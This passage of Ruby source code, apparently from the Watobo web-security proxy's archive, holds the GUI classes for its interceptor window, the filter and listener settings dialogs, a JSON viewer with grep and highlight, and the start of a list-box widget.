@response_lock.synchronize do response = @response_list.first if response response[:response].clear response[:thread].kill @response_list.shift @responsebox.clear @response_box_available = true end @response_tab.text = "Response (#{@response_list.length})" # getNextResponse() end end end def onDiscard(sender, sel, ptr) if @tabBook.current == 0 then @request_lock.synchronize do request = @request_list.first request[:thread].run if request @request_list.shift @requestbox.clear @request_box_available = true @request_tab.text = "Request (#{@request_list.length})" end #getNextRequest() else @response_lock.synchronize do response = @response_list.first response[:thread].run if response @response_list.shift @responsebox.clear @response_box_available = true @response_tab.text = "Response (#{@response_list.length})" #getNextResponse() end end end def onDiscardAll(sender, sel, ptr) end # def onHide # # puts "* hiding interceptor" # Watobo::Interceptor.intercept_mode = INTERCEPT_NONE # @mutex.synchronize { # @cv.signal # } # end def onClose(sender, sel, ptr) Watobo::Interceptor.intercept_mode = INTERCEPT_NONE Watobo::Interceptor.rewrite_mode = REWRITE_NONE releaseAll() self.hide() end def enable_buttons @accept_button.enabled = true @discard_button.enabled = true @drop_button.enabled = true end def disable_buttons @accept_button.enabled = false @discard_button.enabled = false @drop_button.enabled = false end def update_buttons if @tabBook.current == 0 then if @request_list.length > 0 enable_buttons else disable_buttons end else if @response_list.length > 0 enable_buttons else disable_buttons end end end def onBtnFilterOptions(sender, sel, ptr) dlg = Watobo::Gui::InterceptorFilterSettingsDialog.new(self, :request_filter_settings => Interceptor.proxy.getRequestFilter(), :response_filter_settings => Interceptor.proxy.getResponseFilter() ) if dlg.execute != 0 then # TODO: Apply interceptor settings Interceptor.proxy.setRequestFilter(dlg.getRequestFilter) Interceptor.proxy.setResponseFilter(dlg.getResponseFilter) end end def open_rewrite_options_dialog dlg = Watobo::Gui::RewriteRulesDialog.new(self) if dlg.execute != 0 then # TODO: Apply interceptor settings Interceptor::RequestCarver.set_carving_rules dlg.request_rules Interceptor::ResponseCarver.set_carving_rules dlg.response_rules end end def onInterceptChanged(sender, sel, ptr) begin # unless @interceptor.nil? then mode = @intercept_response.checked? ? INTERCEPT_RESPONSE : 0 mode |= @intercept_request.checked? ? INTERCEPT_REQUEST : 0 #Watobo::Interceptor.intercept_mode = @intercept_response.checked? ? INTERCEPT_RESPONSE : 0 # Watobo::Interceptor.intercept_mode |= @intercept_request.checked? ? INTERCEPT_REQUEST : 0 #puts Watobo::Interceptor.intercept_mode # puts "New Proxy Mode: #{mode}" Watobo::Interceptor.intercept_mode = mode mode = @rewrite_request.checked? ? REWRITE_REQUEST : 0 mode |= @rewrite_response.checked? ? REWRITE_RESPONSE : 0 Watobo::Interceptor.rewrite_mode = mode # end rescue => bang puts bang puts bang.backtrace if $DEBUG end end end class InterceptorFilterSettingsDialog < FXDialogBox include Responder include Watobo::Interceptor def getRequestFilter() @request_filter end def getResponseFilter() @response_filter end def initialize(owner, settings = {}) super(owner, "Interceptor Settings", DECOR_ALL, :width => 300, :height => 425) @request_filter = {} @response_filter = {} @request_filter.update settings[:request_filter_settings] @response_filter.update settings[:response_filter_settings] FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @tabbook = FXTabBook.new(base_frame, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) buttons_frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X) @req_opt_tab = FXTabItem.new(@tabbook, "Request Options", nil) frame = FXVerticalFrame.new(@tabbook, :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) scroll_window = FXScrollWindow.new(frame, SCROLLERS_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_Y) @req_opt_frame = FXVerticalFrame.new(scroll_window, :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) @resp_opt_tab = FXTabItem.new(@tabbook, "Response Options", nil) frame= FXVerticalFrame.new(@tabbook, :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) scroll_window = FXScrollWindow.new(frame, SCROLLERS_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_Y) @resp_opt_frame = FXVerticalFrame.new(scroll_window, :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) initRequestFilterFrame() updateRequestFilterFrame() initResponseFilterFrame() updateResponseFilterFrame() @finishButton = FXButton.new(buttons_frame, "Accept", nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finishButton.enable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end @cancelButton = FXButton.new(buttons_frame, "Cancel", :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end private def onAccept(sender, sel, event) #TODO: Check if regex is valid @request_filter[:method_filter] = @method_filter_dt.value @request_filter[:negate_method_filter] = @neg_method_filter_cb.checked? @request_filter[:negate_url_filter] = @neg_url_filter_cb.checked? @request_filter[:url_filter] = @url_filter_dt.value @request_filter[:file_type_filter] = @ftype_filter_dt.value @request_filter[:negate_file_type_filter] = @neg_ftype_filter_cb.checked? @request_filter[:parms_filter] = @parms_filter_dt.value @request_filter[:negate_parms_filter] = @neg_parms_filter_cb.checked? @response_filter[:content_type_filter] = @content_type_filter_dt.value @response_filter[:negate_content_type_filter] = @neg_ctype_filter_cb.checked? @response_filter[:response_code_filter] = @rcode_filter_dt.value @response_filter[:negate_response_code_filter] = @neg_rcode_filter_cb.checked? getApp().stopModal(self, 1) self.hide() return 1 end def updateRequestFilterFrame() @parms_filter.handle(self, FXSEL(SEL_UPDATE, 0), nil) @url_filter.handle(self, FXSEL(SEL_UPDATE, 0), nil) @ftype_filter.handle(self, FXSEL(SEL_UPDATE, 0), nil) @method_filter.handle(self, FXSEL(SEL_UPDATE, 0), nil) end def updateResponseFilterFrame() @content_type_filter.handle(self, FXSEL(SEL_UPDATE, 0), nil) @rcode_filter.handle(self, FXSEL(SEL_UPDATE, 0), nil) # @neg_rcode_filter_cb.handle(self, FXSEL(SEL_UPDATE, 0), nil) # @neg_ctype_filter_cb.handle(self, FXSEL(SEL_UPDATE, 0), nil) end def initResponseFilterFrame() gbframe = FXGroupBox.new(@resp_opt_frame, "Content Type", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Regular expression for HTTP Content-Type. E.g., '(text|script)'" fxtext.setText(text) @content_type_filter_dt = FXDataTarget.new('') @content_type_filter_dt.value = @response_filter[:content_type_filter] @content_type_filter = FXTextField.new(frame, 20, :target => @content_type_filter_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @neg_ctype_filter_cb = FXCheckButton.new(frame, "Negate Filter", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) #@neg_method_filter_cb.checkState = false @neg_ctype_filter_cb.checkState = @response_filter[:negate_content_type_filter] gbframe = FXGroupBox.new(@resp_opt_frame, "Response Code", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Regular expression for HTTP Content-Type. E.g., '200'" fxtext.setText(text) @rcode_filter_dt = FXDataTarget.new('') @rcode_filter_dt.value = @response_filter[:response_code_filter] @rcode_filter = FXTextField.new(frame, 20, :target => @rcode_filter_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @neg_rcode_filter_cb = FXCheckButton.new(frame, "Negate Filter", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) #@neg_method_filter_cb.checkState = false @neg_rcode_filter_cb.checkState = @response_filter[:negate_response_code_filter] end def initRequestFilterFrame() gbframe = FXGroupBox.new(@req_opt_frame, "URL Filter", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Regular Expression Filter For URL. E.g., '.*www.mysite.com.*login.php'" fxtext.setText(text) @url_filter_dt = FXDataTarget.new('') @url_filter_dt.value = @request_filter[:url_filter] @url_filter = FXTextField.new(frame, 20, :target => @url_filter_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @neg_url_filter_cb = FXCheckButton.new(frame, "Negate Filter", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) #@neg_url_filter_cb.checkState = false @neg_url_filter_cb.checkState = @request_filter[:negate_url_filter] gbframe = FXGroupBox.new(@req_opt_frame, "Method Filter", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Regular expression for HTTP method. E.g., '(get|PoSt)'" fxtext.setText(text) @method_filter_dt = FXDataTarget.new('') @method_filter_dt.value = @request_filter[:method_filter] @method_filter = FXTextField.new(frame, 20, :target => @method_filter_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @neg_method_filter_cb = FXCheckButton.new(frame, "Negate Filter", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) #@neg_method_filter_cb.checkState = false @neg_method_filter_cb.checkState = @request_filter[:negate_method_filter] gbframe = FXGroupBox.new(@req_opt_frame, "Parm Filter", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Regular Expression Filter For Parameter Names. E.g., for intercepting requests containing parameters beginning with 'act' use the regex pattern '^act.*' (without single quotes)" fxtext.setText(text) @parms_filter_dt = FXDataTarget.new('') @parms_filter_dt.value = @request_filter[:parms_filter] @parms_filter = FXTextField.new(frame, 20, :target => @parms_filter_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @neg_parms_filter_cb = FXCheckButton.new(frame, "Negate Filter", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) #@neg_parm_filter_cb.checkState = false @neg_parms_filter_cb.checkState = @request_filter[:negate_parms_filter] gbframe = FXGroupBox.new(@req_opt_frame, "File Type Filter", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Regular expression for file types by its extension. E.g., for intercepting requests where file type is PHP use '^php$' (without single quotes)" fxtext.setText(text) @ftype_filter_dt = FXDataTarget.new('') @ftype_filter_dt.value = @request_filter[:file_type_filter] @ftype_filter = FXTextField.new(frame, 20, :target => @ftype_filter_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @neg_ftype_filter_cb = FXCheckButton.new(frame, "Negate Filter", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) #@neg_parm_filter_cb.checkState = false @neg_ftype_filter_cb.checkState = @request_filter[:negate_file_type_filter] end end # end end if __FILE__ == $0 class TestGui < FXMainWindow def initialize(app) # Call base class initializer first super(app, "Test Application", :width => 800, :height => 600) frame = FXVerticalFrame.new(self, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) Watobo::Gui::InterceptorUI.new(frame, nil, nil) end # Create and show the main window def create super # Create the windows show(PLACEMENT_SCREEN) # Make the main window appear end end # application = FXApp.new('LayoutTester', 'FoxTest') TestGui.new($application) $application.create $application.run end watobo-1.0.1/lib/watobo/gui/interceptor_settings_dialog.rb000066400000000000000000000217111366346341400237670ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class InterceptorSettingsFrame < FXVerticalFrame def getSettings() settings = Hash.new settings[:port] = @port_dt.value settings[:bind_addr] = @bind_addr_dt.value mode = Watobo::Interceptor::MODE_REGULAR mode = Watobo::Interceptor::MODE_TRANSPARENT if @transparent_mode_chk.checked? settings[:proxy_mode] = mode dummy = [] @ct_list.each do |nup| dummy.push nup.data end settings[:pass_through] = { :content_types => dummy, :content_length => @content_length_dt.value } return settings end def transparent_mode? @transparent_mode_chk.checked? end def addItem(list_box, item) if item != "" then list_item = list_box.appendItem("#{item}") list_box.setItemData(list_item, item) list_box.sortItems() end end def removePattern(list_box) index = list_box.currentItem if index >= 0 list_box.removeItem(index) end end def initialize(owner, opts) super(owner, opts) #@settings = interceptor_settings scroller = FXScrollWindow.new(self, :opts => SCROLLERS_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_Y) scroll_area = FXVerticalFrame.new(scroller, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) gbox = FXGroupBox.new(scroll_area, "Transparent Mode", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) gbox_frame = FXVerticalFrame.new(gbox, :opts => LAYOUT_SIDE_TOP) @transparent_mode_chk = FXCheckButton.new(gbox_frame, "enable", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP|LAYOUT_LEFT) @transparent_mode_chk.setCheck false if RUBY_PLATFORM =~ /linux|bsd|solaris|hpux|darwin/i @transparent_mode_chk.setCheck true if Watobo::Conf::Interceptor.proxy_mode == Watobo::Interceptor::MODE_TRANSPARENT else @transparent_mode_chk.disable note = FXLabel.new(gbox_frame, "Transparent Mode Only Available On Linux Platform!") note.textColor = FXColor::Red end gbox = FXGroupBox.new(scroll_area, "Listener", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) #gbox_frame = FXVerticalFrame.new(gbox, :opts => LAYOUT_SIDE_TOP|PACK_UNIFORM_WIDTH) frame = FXMatrix.new(gbox, 2, :opts => MATRIX_BY_COLUMNS|LAYOUT_FILL_X|LAYOUT_FILL_Y) # frame = FXHorizontalFrame.new(gbox_frame, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Bind Address:") @bind_addr_dt = FXDataTarget.new(0) #@port_dt.value = @settings[:port] @bind_addr_dt.value = Watobo::Conf::Interceptor.bind_addr bind_addr_txt = FXTextField.new(frame, 15, @bind_addr_dt, FXDataTarget::ID_VALUE, :opts => JUSTIFY_RIGHT|FRAME_GROOVE|FRAME_SUNKEN) bind_addr_txt .handle(self, FXSEL(SEL_UPDATE, 0), nil) # frame = FXHorizontalFrame.new(gbox_frame, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Port:") @port_dt = FXDataTarget.new(0) #@port_dt.value = @settings[:port] @port_dt.value = Watobo::Conf::Interceptor.port lport = FXTextField.new(frame, 5, @port_dt, FXDataTarget::ID_VALUE, :opts => JUSTIFY_RIGHT|FRAME_GROOVE|FRAME_SUNKEN) lport.handle(self, FXSEL(SEL_UPDATE, 0), nil) gbframe = FXGroupBox.new(scroll_area, "Pass-Through Content-Length", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Define Content-Length threshold for Pass-Through. Responses which Content-Length exceed this size will be forwarded." fxtext.setText(text) input_frame = FXHorizontalFrame.new(frame, :opts => LAYOUT_FILL_X) FXLabel.new(input_frame, "Max. Content-Length:") @content_length_dt = FXDataTarget.new('') #@content_length_dt.value = @settings[:pass_through][:content_length] @content_length_dt.value = Watobo::Conf::Interceptor.pass_through[:content_length] content_length_field = FXTextField.new(input_frame, 7, :target => @content_length_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT) content_length_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) gbframe = FXGroupBox.new(scroll_area, "Pass-Through Content-Types", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "Define Content-Types for Pass-Through. Responses which are forwarded will not be inspected by Passive-Checks. So you only should define Content-Types which in general contain binary data." fxtext.setText(text) input_frame = FXHorizontalFrame.new(frame, :opts => LAYOUT_FILL_X) @ct_dt = FXDataTarget.new('') @ct_field = FXTextField.new(input_frame, 20, :target => @ct_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @rem_ct_btn = FXButton.new(input_frame, "Remove" , :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @add_ct_btn = FXButton.new(input_frame, "Add" , :opts => BUTTON_NORMAL|LAYOUT_RIGHT) list_frame = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|FRAME_SUNKEN, :padding => 0) @ct_list = FXList.new(list_frame, :opts => LIST_EXTENDEDSELECT|LAYOUT_FILL_X|LAYOUT_FILL_Y) @ct_list.numVisible = 5 @ct_list.connect(SEL_COMMAND){ |sender, sel, item| @ct_dt.value = sender.getItemText(item) @ct_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } # @settings[:pass_through][:content_types].each do |nup| Watobo::Conf::Interceptor.pass_through[:content_types].each do |nup| addItem(@ct_list, nup) end @rem_ct_btn.connect(SEL_COMMAND){ |sender, sel, item| removePattern(@ct_list) if @ct_dt.value != '' @ct_dt.value = '' @ct_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @add_ct_btn.connect(SEL_COMMAND){ |sender, sel, item| addItem(@ct_list, @ct_dt.value) if @ct_dt.value != '' @ct_dt.value = '' @ct_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @ct_dt.connect(SEL_COMMAND){ |sender, sel, item| addItem(@ct_list, @ct_dt.value) if @ct_dt.value != '' @ct_dt.value = '' @ct_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } end end # # Class: SelectNonUniqueParmsDialog # class InterceptorSettingsDialog < FXDialogBox include Responder attr :interceptor_settings def transparent? @interceptorSettingsFrame.transparent_mode? end def onAccept(sender, sel, event) @interceptor_settings = @interceptorSettingsFrame.getSettings() getApp().stopModal(self, 1) self.hide() return 1 end def initialize(owner) super(owner, "Interceptor Settings", DECOR_TITLE|DECOR_BORDER, :width => 400, :height => 500) #@interceptor_settings = interceptor_settings FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) # puts "create scopeframe with scope:" # @project.scope # @defineScopeFrame = DefineScopeFrame.new(base_frame, Watobo::Chats.sites(), YAML.load(YAML.dump(@project.scope)), prefs) @interceptorSettingsFrame = InterceptorSettingsFrame.new(base_frame, :opts => SCROLLERS_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_Y) buttons_frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) @finishButton = FXButton.new(buttons_frame, "Accept" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finishButton.enable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) end @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end end end end if __FILE__ == $0 # TODO Generated stub end watobo-1.0.1/lib/watobo/gui/json_viewer.rb000077500000000000000000000227671366346341400205430ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui class JsonViewer < FXVerticalFrame SEL_TYPE_GREP = 0 SEL_TYPE_HIGHLIGHT = 1 attr_accessor :max_len def style=(new_style) @simple_text_view.style = new_style end def editable=(value) @simple_text_view.editable = value end def setText(object=nil, prefs={}) o = object.nil? ? @object : object return false if o.nil? #@object = o normalized_text = o.to_s begin jb = JSON.parse(o.body.to_s) normalized_text = JSON.pretty_generate jb rescue => bang normalized_text = "No JSON in body\n\n" normalized_text << bang.to_s if $DEBUG end @text = normalized_text #@text = text @simple_text_view.max_len = -1 @simple_text_view.setText(normalized_text, prefs) @match_pos_label.text = "0/0" @match_pos_label.textColor = 'grey' applyFilter() if @auto_apply_cbtn.checked? end def highlight(pattern) highlightPattern(pattern) end def setFont(font_type=nil, size=nil) @simple_text_view.setFont(font_type, size) end def getText @simple_text_view.textbox.to_s end def initialize(owner, opts) super(owner, opts) @text_matches = [] @style = 2 # default style @text = '' @object = nil @max_len = 5000 @filter_mode = SEL_TYPE_HIGHLIGHT @cur_match_pos = 0 @text_dt = FXDataTarget.new('') @filter_dt = FXDataTarget.new('') @handler = nil @handler_file = nil @handler_path = nil # @handler_ctrl = ViewerHandlerCtrl.new(self) text_view_header = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM|LAYOUT_FIX_HEIGHT, :height => 24, :padding => 0) #@auto_apply_cbtn.connect(SEL_COMMAND, method(:onInterceptChanged)) pmatch_btn = FXButton.new(text_view_header, "<", nil, nil, 0, FRAME_RAISED|LAYOUT_FILL_Y) @match_pos_label = FXLabel.new(text_view_header, "0/0", :opts => LAYOUT_FILL_Y) @match_pos_label.textColor = 'grey' pmatch_btn.connect(SEL_COMMAND) { gotoPrevMatch() } nmatch_btn = FXButton.new(text_view_header, ">", nil, nil, 0, FRAME_RAISED|LAYOUT_FILL_Y) nmatch_btn.connect(SEL_COMMAND) { gotoNextMatch() } # @filter_text = FXTextField.new(text_view_header, 10, # :target => @filter_dt, :selector => FXDataTarget::ID_VALUE, # :opts => FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_X|LAYOUT_FILL_Y) @filter_text = FXComboBox.new(text_view_header, 20, @filter_dt, 0, FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) @filter_text.connect(SEL_COMMAND) { applyFilter() addFilterHistory() } @filter_text.connect(SEL_CHANGED) { applyFilter() } menu = FXMenuPane.new(self) FXMenuCommand.new(menu, "&Highlight").connect(SEL_COMMAND) { @filter_mode = SEL_TYPE_HIGHLIGHT applyFilter() @mode_btn.text = "Highlight" } #, method(:switchMethod)) FXMenuCommand.new(menu, "&Grep").connect(SEL_COMMAND) { @filter_mode = SEL_TYPE_GREP applyFilter() @mode_btn.text = "Grep" } #, method(:switchMethod)) @auto_apply_cbtn = FXCheckButton.new(text_view_header, "auto-apply", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP|LAYOUT_RIGHT|LAYOUT_FILL_Y) @mode_btn = FXMenuButton.new(text_view_header, "Highlight", nil, menu, :opts => MENUBUTTON_DOWN|FRAME_RAISED|FRAME_THICK|ICON_AFTER_TEXT|LAYOUT_RIGHT|LAYOUT_FILL_Y) reset_button = FXButton.new(text_view_header, "&Reset", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_FILL_Y) reset_button.connect(SEL_COMMAND) { resetFilter() } text_box_frame = FXVerticalFrame.new(self, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @simple_text_view = SimpleTextView.new(text_box_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @simple_text_view.style = 1 @simple_text_view.editable = false @simple_text_view.textStyle -= TEXT_WORDWRAP addHotkeyHandler(@simple_text_view.textbox) addHotkeyHandler(@filter_text) @filter_dt.connect(SEL_COMMAND) { applyFilter() } end def applyFilter pattern = @filter_text.text @match_pos_label.text = "0/0" @simple_text_view.resetMatches() @simple_text_view.setText(@text) @match_pos_label.textColor = 'grey' return true if pattern == '' case @filter_mode when SEL_TYPE_GREP grepPattern(pattern) when SEL_TYPE_HIGHLIGHT highlightPattern(pattern) end end private def gotoNextMatch() @cur_match_pos += 1 if @cur_match_pos < @simple_text_view.numMatches-1 @simple_text_view.makeMatchVisible(@cur_match_pos) @match_pos_label.text = "#{@cur_match_pos+1}/#{@simple_text_view.numMatches}" if @simple_text_view.numMatches > 0 end def gotoPrevMatch() @cur_match_pos -= 1 if @cur_match_pos > 0 @simple_text_view.makeMatchVisible(@cur_match_pos) @match_pos_label.text = "#{@cur_match_pos+1}/#{@simple_text_view.numMatches}" if @simple_text_view.numMatches > 0 end def addFilterHistory() text = @filter_text.text return true if text == '' has_item = false @filter_text.each do |item, data| has_item = true if data == text end @filter_text.appendItem(text, text) unless has_item == true @filter_text.numVisible = @filter_text.numItems end def resetFilter @simple_text_view.max_len = 0 @simple_text_view.setText(@text) @match_pos_label.text = "0/0" @match_pos_label.textColor = 'grey' @filter_text.text = '' end def highlightPattern(pattern) @cur_match_pos = 0 @simple_text_view.max_len = 0 @match_pos_label.textColor = 'black' @simple_text_view.setText(@text) @simple_text_view.highlight(pattern) @match_pos_label.text = "0/#{@simple_text_view.numMatches()}" @simple_text_view.makeMatchVisible(0) @match_pos_label.text = "1/#{@simple_text_view.numMatches()}" if @simple_text_view.numMatches() > 0 end def grepPattern(pattern) @cur_match_pos = 0 @simple_text_view.max_len = 0 @match_pos_label.textColor = 'black' @simple_text_view.setText(@text) @simple_text_view.filter(pattern) @match_pos_label.text = "0/#{@simple_text_view.numMatches()}" @simple_text_view.highlight(pattern) @simple_text_view.makeMatchVisible(0) @filter_mode = SEL_TYPE_GREP @match_pos_label.text = "1/#{@simple_text_view.numMatches()}" if @simple_text_view.numMatches() > 0 end def addHotkeyHandler(widget) @ctrl_pressed = false widget.connect(SEL_KEYPRESS) { |sender, sel, event| # puts event.code @ctrl_pressed = true if event.code == KEY_Control_L or event.code == KEY_Control_R # @shift_pressed = true if @ctrl_pressed and ( event.code == KEY_Shift_L or event.code == KEY_Shift_R ) if event.code == KEY_Return highlight(@filter_text.text) true # special handling of KEY_Return, because we don't want a linebreak in textbox. end if event.code == KEY_F1 unless event.moved? FXMenuPane.new(self) do |menu_pane| FXMenuCaption.new(menu_pane, "Hotkeys:") FXMenuSeparator.new(menu_pane) [" - Reset Filter", " - Grep", " - Highlight", " - Goto Next", " - Goto Prev", " - Switch Wordwrap" ].each do |hk| FXMenuCaption.new(menu_pane, hk).backColor = 'yellow' end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end if @ctrl_pressed case event.code when KEY_n gotoNextMatch() addFilterHistory() when KEY_N gotoPrevMatch() addFilterHistory() when KEY_w @simple_text_view.textbox.textStyle ^= TEXT_WORDWRAP when KEY_h @mode_btn.text = "Highlight" @filter_mode = SEL_TYPE_HIGHLIGHT addFilterHistory() applyFilter() when KEY_g @mode_btn.text = "Grep" @filter_mode = SEL_TYPE_GREP addFilterHistory() applyFilter() when KEY_r resetFilter() end end false } widget.connect(SEL_KEYRELEASE) { |sender, sel, event| @ctrl_pressed = false if event.code == KEY_Control_L or event.code == KEY_Control_R false } end end end endwatobo-1.0.1/lib/watobo/gui/list_box.rb000066400000000000000000000063471366346341400200250ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui class ListBox < FXGroupBox def to_a a=[] @list.each do |i| a << i.to_s end a end def set(list) @list.clearItems list.each do |le| addPattern(le) end end def append(list) if list.is_a? Array list.each do |e| addPattern(e) if e.is_a? String end elsif list.is_a? String addPattern(list) else raise ArgumentError, "Need String or Array" end end def removePattern(pattern) index = @list.currentItem if index >= 0 @list.removeItem(index) end end def addPattern(pattern) 